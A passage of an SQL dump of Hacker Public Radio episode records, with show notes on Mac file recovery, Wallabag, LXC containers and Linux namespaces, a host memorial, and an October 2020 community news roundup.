enjoy all the Holidays, and never feel the cold.  I was driven to write like Toby, to handle my own shock and grief.  We Cry and Mourn, those left behind in the Mortal world, for our loss and pain.  Our dear One is beyond pain, perhaps for the first time in years.  He has earned his time in Grace.  He as paid as we pay now, for life beyond grief, with those who have gone ahead.   I hope my words and memories may help  the ones he left behind.  Pain is a Mortal thing. It need not be deadly, or poisonous.  Fifty’s Life is a great example of this and many other things.  I hope we can go forward, with his example helping heal our loss of him.    God Bless You, Fifty, and those you touched in turn.</p>\r\n',269,0,1,'CC-BY-SA','LinuxLugCast, FiftyOneFifty, Memorial, Syndication',0,0,1),
(2929,'2019-10-24','Recovering Files from a Dead MacBook Air',482,'I talk about recovering the files from my wife\'s dead MacBook Air using an Ubuntu Live CD.','<p>I talk about becoming a household hero by recovering my wife\'s files from her dead MacBook Air. Her laptop would not boot, shutting down seconds into the process each time she tried to start it up. I used an Ubuntu Live CD (DVD), with the commands <code>fdisk</code> and <code>fsck</code> to repair the damaged filesystem on the Mac. It still wouldn\'t boot even with the repaired filesystem, but I was able to mount the drive and copy her files to a USB drive.</p>\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li>Blog post Howto: <a href=\"https://miteshshah.github.io/mac/repair-fix-mac-hfs-partition-using-ubuntu/\">Repair/Fix MAC HFS+ Partition Using Ubuntu</a></li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','Ubuntu,Mac OS X,File Recovery,Filesystem Repair',0,0,1),
(2931,'2019-10-28','Wallabag for on premises article aggregation',690,'In this episode, I describes my trials and eventual triumph in installing Wallabag','<h2 id=\"addendum\">Addendum</h2>\r\n<p>I forgot to mention that Wallabag is also offered as a service for a small fee. Check out the website for more information.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://wallabag.org/en\">Wallabag website</a></li>\r\n<li><a href=\"https://doc.wallabag.org/en/admin/installation/installation.html\">Wallabag documentation</a></li>\r\n<li><a href=\"https://hub.docker.com/r/wallabag/wallabag\">Wallabag on Docker Hub</a></li>\r\n<li><a href=\"https://cockpit-project.org/\">Cockpit website</a></li>\r\n</ul>\r\n',300,0,0,'CC-BY-SA','self-hosted, docker',0,0,1),
(2939,'2019-11-07','Submit a show to Hacker Public Radio in 10 easy steps',601,'This is a 10 step walkthrough of submitting a show to HPR','<h2 id=\"steps\">Steps</h2>\r\n<ol>\r\n<li>Record your episode</li>\r\n<li>Go to <a href=\"https://hackerpublicradio.org\" class=\"uri\">https://hackerpublicradio.org</a></li>\r\n<li>Click on &quot;Give Shows&quot;</li>\r\n<li>Click on &quot;Calendar&quot; (the link is not obvious, so use your browser\'s find functionality to search for the word &quot;Calendar&quot;).<br />\r\n<small><em>Edit: Please use the ⇧Upload⇧ link in the menu bar</em></small>\r\n</li>\r\n<li>Choose a slot</li>\r\n<li>Submit your email address</li>\r\n<li>Click the link in the confirmation email</li>\r\n<li>Create your profile (if new), then fill in the form with title, summary and show notes</li>\r\n<li>Attach your episode and submit (wait for long upload process)</li>\r\n<li>Receive your confirmation email, and enjoy your episode!</li>\r\n</ol>\r\n',300,45,0,'CC-BY-SA','podcast, hpr, how-to',0,0,1),
(2926,'2019-10-21','Full Circle Magazine',181,'Just a short show to request support for one of the Linux communities longest standing Magazines','<p>Hi Everyone in HPR land this is Tony Hughes coming to you from Studio B at Woodbrooke Quaker Study Centre in Birmingham in the UK, where I am currently staying for a week of voluntary work.</p>\r\n<p>The reason for this short episode is to talk about a community magazine that I have been reading since I started to use Ubuntu Linux back in 2007. Full Circle magazine actually produced a pilot issue in April of 2007 and issue one was issued in June 2007. All issues are published as a free pdf download and all the content is under a Creative Commons licence.</p>\r\n<p>Free Circle Magazine initially started as an Ubuntu (and official spins of Ubuntu) magazine but over the years while still being officially about Ubuntu or Linux Distributions based on Ubuntu, many of the articles are applicable to those across the Linux community.</p>\r\n<p>Over the years, as well as printing one off articles about individuals’ journey to using Linux, reviews and letters from readers, there have been regular series on topics such as Inkscape, Python programming, Open/LibreOffice, Virtualisation and much more.</p>\r\n<p>Sadly after over 12 years of producing a regular monthly magazine for the Linux community some of the regular article series are coming to an end and due to ill health at least one regular writer is not able to contribute at the moment, and this is leaving the magazine short of content and in danger of possibly coming to an end.</p>\r\n<p>As a podcast community that is used to the idea of crowd sourced content, many of whom are also Linux users, could I ask that some of you that have read Full Circle, but never contributed, consider sending in some content. It could be an article on how you started using Linux, about some Linux software that you think the readers may be interested in learning more about, or just a letter to Ronnie to say thanks for all his efforts putting out a magazine every month for the last 12+ years.</p>\r\n<p>Like many things we often don’t miss them until they are gone, and I would hate to think that Full Circle Magazine is one of those things that I will miss in the future. I have put my money where my mouth is and in coming issues you may see me in print, talking about podcasting. You could even use any writing you do as the base for a HPR show, and achieve two goals in one go.</p>\r\n<p>All the best for now.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.woodbrooke.org.uk/\" class=\"uri\">https://www.woodbrooke.org.uk/</a></li>\r\n<li><a href=\"https://fullcirclemagazine.org/\" class=\"uri\">https://fullcirclemagazine.org/</a></li>\r\n<li><a href=\"https://fullcirclemagazine.org/issue-149/\" class=\"uri\">https://fullcirclemagazine.org/issue-149/</a></li>\r\n</ul>\r\n',338,0,0,'CC-BY-SA','Full Circle Magazine, Ubuntu, Linux, Free Magazine, Creative Commons',0,0,1),
(2934,'2019-10-31','Server Basics 106: Namespaces and containers',2033,'Klaatu talks about the unshare and lxc commands','<p>\r\nNamespaces provide context and constraints for processes on a Linux system.\r\nThey are utilised by the infrastructure of \"the cloud\" to create distinct \"containers\", in which processes may run without awareness of the system they are actually running upon.\r\n</p>\r\n\r\n<pre><code>\r\n// prove you are not running some process\r\n\r\n$ pidof tcsh\r\n// nothing\r\n\r\n$ sudo pidof tcsh\r\n// nothing\r\n\r\n// launch tcsh in a new namespace with unshare:\r\n\r\n$ sudo unshare --fork --pid --mount-proc tcsh\r\n\r\n// from within that session:\r\n\r\n# pidof tcsh\r\n1\r\n\r\n// wait what??\r\n// yes tcsh is the first pid of its own namespace\r\n\r\n// from another term\r\n$ ps 1\r\ninit\r\n\r\n$ pidof tcsh\r\n26814\r\n\r\n// from inside the namespace, pid is seen as 1\r\n// from outside, pid is normal\r\n\r\n$ ps tree | less\r\n// search for tcsh\r\n\r\n// See evidence of namespaces:\r\n\r\n$ ls /proc/*/ns\r\n\r\n$ ls /proc/26814/ns\r\nipc net pid user uts [...]\r\n</code></pre>\r\n\r\n<p>\r\nTo see this in action for a slightly more pragmatic purpose, you can use the <code>lxc</code> command.\r\nThe <a href=\"https://linuxcontainers.org/lxc/getting-started/\" target=\"_blank\">LXC</a> system uses namespaces and cgroups to create functional containers that act, more or less, like a Virtual Machine, except that they are built in containers so that they do not have to emulate hardware.\r\n</p>\r\n<p>If your system doesn\'t have LXC installed, first install it:\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo dnf install lxc lxc-templates lxc-doc\r\n\r\n// on Ubuntu or Debian:\r\n\r\n$ apt install lxc\r\n</code>\r\n</pre>\r\n\r\n<p>\r\nYou also need to create a network bridge so that your container and your host system (that\'s the computer you\'re sitting in front of right now) can communicate.\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo ip link add br0 type bridge\r\n$ sudo ip addr show br0\r\n7: br0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc\r\n   noop state DOWN group default qlen 1000\r\n   link/ether 26:fa:21:5f:cf:99 brd ff:ff:ff:ff:ff:ff\r\n</code></pre>\r\n<p>\r\nNow give your bridge device an IP address that doesn\'t conflict with any existing IP address on your network:\r\n</p>\r\n<pre><code>\r\n$ sudo ip addr add 192.168.168.168 dev br0\r\n$ sudo ip link set br0 up\r\n</code></pre>\r\n\r\n<p>\r\nCreate a configuration for your container.\r\nYou can base this on the samples provided by lxc (located in /usr/share/docs/lxc or similar).\r\nEverything but <strong>veth</strong>, <strong>br0</strong>, and <strong>up</strong> is arbitrary. You can make up all the values.\r\n</p>\r\n\r\n<pre><code>\r\nlxc.utsname = hackerpublicradio\r\nlxc.network.type = veth\r\nlxc.network.flags = up\r\nlxc.network.link = br0\r\nlxc.network.hwaddr = 4a:49:43:49:79:bd\r\nlxc.network.ipv4 = 192.168.168.1/24\r\nlxc.network.ipv6 = 2003:db8:1:0:214:c0ff:ee0b:3596\r\n</code></pre>\r\n\r\n<p>\r\nNow install an OS into your container.\r\nOS templates are provided by LXC in /usr/share/doc/lxc/templates or a similar location.\r\n</p>\r\n\r\n<pre><code>\r\n$ ls -m /usr/share/lxc/templates/\r\nlxc-alpine, lxc-altlinux, lxc-archlinux, lxc-busybox, lxc-centos [...]\r\n</code></pre>\r\n\r\n<p>\r\nChoose a template and install.\r\nI use Alpine in the recorded show, because it\'s supposed to be really small.\r\nI don\'t necessarily recommend Alpine. I recommend Slackware, of course.\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo lxc-create --name slackware --template slackware\r\n</code></pre>\r\n\r\n<p>\r\nOnce the install is done, start your container:\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo lxc-start --name slackware\r\n--rcfile ~/mycontainer.conf\r\n</code></pre>\r\n\r\n<p>\r\nNow attach to the container:\r\n</p>\r\n\r\n<pre><code>\r\n$ sudo lxc-attach --name slackware\r\n#\r\n</code></pre>\r\n\r\n<p>\r\nRun a command.\r\n</p>\r\n\r\n<pre><code>\r\n# uname -av\r\nLinux hackerpublicradio 5.3.0.x86_64 #1 SMP Wed Oct 10 18:34:01 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\r\n</code></pre>\r\n\r\n<p>\r\nThis is the technology that Docker and <a href=\"https://www.opencontainers.org/\" target=\"_blank\">OCI</a> projects use to create containers.\r\nAnd when a bunch of containers start swarming around on a bunch of hosts, you eventually end up with a cloud.\r\nHow do you manage all of these things?\r\nThat will be the topic for the next entry in this series, I\'ll bet.\r\n</p>\r\n',78,0,0,'CC-BY-SA','server,container,docker,serverless,cloud,sys admin,kubernetes',0,0,1),
(2935,'2019-11-01','The work of fire fighters, part 3',1807,'The continued introduction into the work of fire fighters','<h2 id=\"continued-general-basic-knowledge-of-fire-fighting.\">Continued general basic knowledge of fire fighting.</h2>\r\n<p>Talking about large water system, breathing gear, “the walk”, flash-over and back-draft.</p>\r\n',369,0,0,'CC-BY-SA','fire fighting, fire brigade',0,0,1),
(2941,'2019-11-11','Server Basics 107: Minishift and container management',2331,'Klaatu introduces Minishift, a local test environment for a single-node cloud','<p>Learn \"the OS of the cloud\" with <a href=\"https://www.okd.io/minishift/\" target=\"_blank\">minishift</a> or <a href=\"https://github.com/kubernetes/minikube\" target=\"_blank\">minikube</a>\r\n</p>',78,0,0,'CC-BY-SA','server,container,docker,serverless,cloud,sys admin,kubernetes',0,0,1),
(2943,'2019-11-13','Music as Life',582,'quantum harmony','<ul>\r\n<li>Thomas Orr Anderson<br />\r\n<a href=\"https://www.phisonics.com/about-2/\" class=\"uri\">https://www.phisonics.com/about-2/</a></li>\r\n<li>Find the audio that I listened to here<br />\r\n<a href=\"https://www.phisonics.com/podcast-blog-research/\" class=\"uri\">https://www.phisonics.com/podcast-blog-research/</a></li>\r\n</ul>\r\n<p>Background sounds provided by some road noise, and a train.</p>\r\n',329,0,1,'CC-BY-SA','science',0,0,1),
(3196,'2020-11-02','HPR Community News for October 2020',5375,'Dave and Ken review the months happenings, and try various pronunciations of Cedric De Vroeys name.','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3174\" target=\"_blank\">3174</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-10-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3174\" target=\"_blank\">Linux Inlaws S01E14: The big programming language panel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3175\" target=\"_blank\">3175</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-10-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3175\" target=\"_blank\">International Keyboard</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3176\" target=\"_blank\">3176</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3176\" target=\"_blank\">HPR Community News for September 2020</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3177\" target=\"_blank\">3177</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3177\" target=\"_blank\">Zero cost VPN</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3178\" target=\"_blank\">3178</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-10-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3178\" target=\"_blank\">Finishing the Recumbent Bicycle</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3179\" target=\"_blank\">3179</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-10-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3179\" target=\"_blank\">MakeMKV to back up media, and a Question</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3180\" target=\"_blank\">3180</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-10-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3180\" target=\"_blank\">GIMP: Miscellaneous Tools</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3181\" target=\"_blank\">3181</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3181\" target=\"_blank\">RealVNC cloud offering</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3182\" target=\"_blank\">3182</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3182\" target=\"_blank\">Yo-ho-ho, and a bottle of Cholecalciferol</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3183\" target=\"_blank\">3183</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-10-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3183\" target=\"_blank\">Don\'t trust zipfiles</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=387\" target=\"_blank\">Cedric De Vroey</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3184\" target=\"_blank\">3184</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-10-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3184\" target=\"_blank\">Linux Inlaws S01E15: IT Security and stick insects</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3185\" target=\"_blank\">3185</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-10-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3185\" target=\"_blank\">Pandemics In History</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3186\" target=\"_blank\">3186</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3186\" target=\"_blank\">A light bulb moment, part 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3187\" target=\"_blank\">3187</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3187\" target=\"_blank\">Ansible for Dynamic Host Configuration Protocol</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3188\" target=\"_blank\">3188</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-10-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3188\" target=\"_blank\">Thrift store quick fix</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3189\" target=\"_blank\">3189</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-10-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3189\" target=\"_blank\">How the Dutch dig Graves</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3190\" target=\"_blank\">3190</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-10-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3190\" target=\"_blank\">GIMP Brushes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3191\" target=\"_blank\">3191</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2020-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3191\" target=\"_blank\">Swedish Corona Experience</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3192\" target=\"_blank\">3192</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2020-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3192\" target=\"_blank\">A light bulb moment, part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3193\" target=\"_blank\">3193</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2020-10-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3193\" target=\"_blank\">Meet Antithesis</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3194\" target=\"_blank\">3194</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2020-10-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3194\" target=\"_blank\">Linux Inlaws S01E16: The count and the questions</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3195\" target=\"_blank\">3195</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2020-10-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3195\" target=\"_blank\">For your Consideration - the ideal Ham Radio setup</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 14 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3153#comments\" target=\"_blank\">hpr3153</a></strong>\n(2020-09-02) \"<em>Fixing eBooks with Calibre and pdfcrop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3153#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2020-10-21:\n\"Thank for this\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 13 comments on 9 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3175#comments\" target=\"_blank\">hpr3175</a></strong>\n(2020-10-02) \"<em>International Keyboard</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3175#1\" target=\"_blank\">Comment 1</a>:\nGumnos on 2020-10-03:\n\"Using the X \"Compose\" key\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3176#comments\" target=\"_blank\">hpr3176</a></strong>\n(2020-10-05) \"<em>HPR Community News for September 2020</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3176#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2020-10-05:\n\"YAML, spacing and ansible-lint\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3179#comments\" target=\"_blank\">hpr3179</a></strong>\n(2020-10-08) \"<em>MakeMKV to back up media, and a Question</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3179#1\" target=\"_blank\">Comment 1</a>:\njanedoc on 2020-10-09:\n\"using make mkv\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3180#comments\" target=\"_blank\">hpr3180</a></strong>\n(2020-10-09) \"<em>GIMP: Miscellaneous Tools</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3180#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2020-10-10:\n\"contribution back\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3180#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2020-10-10:\n\"Donating to Fedora\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3184#comments\" target=\"_blank\">hpr3184</a></strong>\n(2020-10-15) \"<em>Linux Inlaws S01E15: IT Security and stick insects</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3184#1\" target=\"_blank\">Comment 1</a>:\nClinton Roy on 2020-10-15:\n\"Mix not quite right?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3184#2\" target=\"_blank\">Comment 2</a>:\nCedric De Vroey on 2020-10-26:\n\"Great show keep them comming :-)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3185#comments\" target=\"_blank\">hpr3185</a></strong>\n(2020-10-16) \"<em>Pandemics In History</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3185#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2020-10-16:\n\"fear porn\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3185#2\" target=\"_blank\">Comment 2</a>:\nCedric De Vroey on 2020-10-26:\n\"Ahuka\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3187#comments\" target=\"_blank\">hpr3187</a></strong>\n(2020-10-20) \"<em>Ansible for Dynamic Host Configuration Protocol</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3187#1\" target=\"_blank\">Comment 1</a>:\nCedric De Vroey on 2020-10-26:\n\"Also getting into Ansible\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3189#comments\" target=\"_blank\">hpr3189</a></strong>\n(2020-10-22) \"<em>How the Dutch dig Graves</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3189#1\" target=\"_blank\">Comment 1</a>:\nCedric De Vroey on 2020-10-26:\n\"Love graveyards\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3189#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2020-10-28:\n\"Interesting\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3191#comments\" target=\"_blank\">hpr3191</a></strong>\n(2020-10-26) \"<em>Swedish Corona Experience</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3191#1\" target=\"_blank\">Comment 1</a>:\nmcnalu on 2020-10-26:\n\"Interesting info from Sweden\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"call-for-shows\">Call for shows</h3>\n<ul>\n<li>There are just a few days until the next free slot on the calendar. More shows are urgently needed!</li>\n</ul>\n<h3 id=\"question\">Question</h3>\n<ul>\n<li>Which undead would you rather be from D&amp;D v 5 - Lich or Vampire ? And why ?</li>\n</ul>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></b></p>\n<p>Over the period tags and/or summaries have been added to 6 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
